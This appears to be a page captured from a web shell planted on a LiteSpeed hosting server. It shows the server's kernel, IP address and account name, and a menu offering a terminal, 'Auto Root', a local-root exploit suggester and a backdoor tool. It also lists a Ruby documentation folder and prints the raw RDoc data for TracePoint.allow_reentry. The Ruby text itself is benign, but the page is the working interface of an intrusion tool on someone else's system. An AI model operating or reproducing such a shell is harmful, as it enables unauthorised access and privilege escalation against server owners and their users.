Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.217.130
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby34 /
share /
ri /
system /
TracePoint /
Delete
Unzip
Name
Size
Permission
Date
Action
allow_reentry-c.ri
2.41
KB
-rw-r--r--
2026-04-07 16:51
binding-i.ri
498
B
-rw-r--r--
2026-04-07 16:51
callee_id-i.ri
330
B
-rw-r--r--
2026-04-07 16:51
cdesc-TracePoint.ri
3.23
KB
-rw-r--r--
2026-04-07 16:51
defined_class-i.ri
1.31
KB
-rw-r--r--
2026-04-07 16:51
disable-i.ri
1.12
KB
-rw-r--r--
2026-04-07 16:51
enable-i.ri
2.06
KB
-rw-r--r--
2026-04-07 16:51
enabled%3f-i.ri
355
B
-rw-r--r--
2026-04-07 16:51
eval_script-i.ri
423
B
-rw-r--r--
2026-04-07 16:51
event-i.ri
382
B
-rw-r--r--
2026-04-07 16:51
inspect-i.ri
375
B
-rw-r--r--
2026-04-07 16:51
instruction_sequence-i.ri
518
B
-rw-r--r--
2026-04-07 16:51
lineno-i.ri
310
B
-rw-r--r--
2026-04-07 16:51
method_id-i.ri
341
B
-rw-r--r--
2026-04-07 16:51
new-c.ri
1.62
KB
-rw-r--r--
2026-04-07 16:51
parameters-i.ri
427
B
-rw-r--r--
2026-04-07 16:51
path-i.ri
313
B
-rw-r--r--
2026-04-07 16:51
raised_exception-i.ri
378
B
-rw-r--r--
2026-04-07 16:51
return_value-i.ri
362
B
-rw-r--r--
2026-04-07 16:51
self-i.ri
554
B
-rw-r--r--
2026-04-07 16:51
stat-c.ri
552
B
-rw-r--r--
2026-04-07 16:51
trace-c.ri
628
B
-rw-r--r--
2026-04-07 16:51
Save
Rename
U:RDoc::AnyMethod[iI"allow_reentry:ETI"TracePoint::allow_reentry;TT:publico:RDoc::Markup::Document:@parts[ o:RDoc::Markup::Paragraph; [ I"8Generally, while a TracePoint callback is running, ;TI"8other registered callbacks are not called to avoid ;TI" confusion from reentrance. ;TI"9This method allows reentrance within a given block. ;TI"EUse this method carefully to avoid infinite callback invocation.;To:RDoc::Markup::BlankLine o; ; [I"3If called when reentrance is already allowed, ;TI"it raises a RuntimeError.;T@o; ; [I"<b>Example:</b>;T@o:RDoc::Markup::Verbatim; [+I"# Without reentry ;TI"# --------------- ;TI" ;TI"2line_handler = TracePoint.new(:line) do |tp| ;TI"= next if tp.path != __FILE__ # Only works in this file ;TI" puts "Line handler" ;TI"$ binding.eval("class C; end") ;TI"end.enable ;TI" ;TI"4class_handler = TracePoint.new(:class) do |tp| ;TI" puts "Class handler" ;TI"end.enable ;TI" ;TI" class B ;TI" end ;TI" ;TI"O# This script will print "Class handler" only once: when inside the :line ;TI"0# handler, all other handlers are ignored. ;TI" ;TI"# With reentry ;TI"# ------------ ;TI" ;TI"2line_handler = TracePoint.new(:line) do |tp| ;TI"= next if tp.path != __FILE__ # Only works in this file ;TI"Q next if (__LINE__..__LINE__+3).cover?(tp.lineno) # Prevent infinite calls ;TI" puts "Line handler" ;TI"A TracePoint.allow_reentry { binding.eval("class C; end") } ;TI"end.enable ;TI" ;TI"4class_handler = TracePoint.new(:class) do |tp| ;TI" puts "Class handler" ;TI"end.enable ;TI" ;TI" class B ;TI" end ;TI" ;TI"Z# This will print "Class handler" twice: inside the allow_reentry block in the :line ;TI",# handler, other handlers are enabled. ;T:@format0o; ; [I"MNote that the example shows the principal effect of the method, but its ;TI"Xpractical usage is for debugging libraries that sometimes require other libraries' ;TI"Qhooks to not be affected by the debugger being inside trace point handling. ;TI"IPrecautions should be taken against infinite recursion in this case ;TI"P(note that we needed to filter out calls by itself from the :line handler, ;TI"0otherwise it would call itself infinitely).;T: @fileI"trace_point.rb;T:0@omit_headings_from_table_of_contents_below0I"(TracePoint.allow_reentry { block } ;T0[ I"();T@JFI"TracePoint;TcRDoc::NormalClass00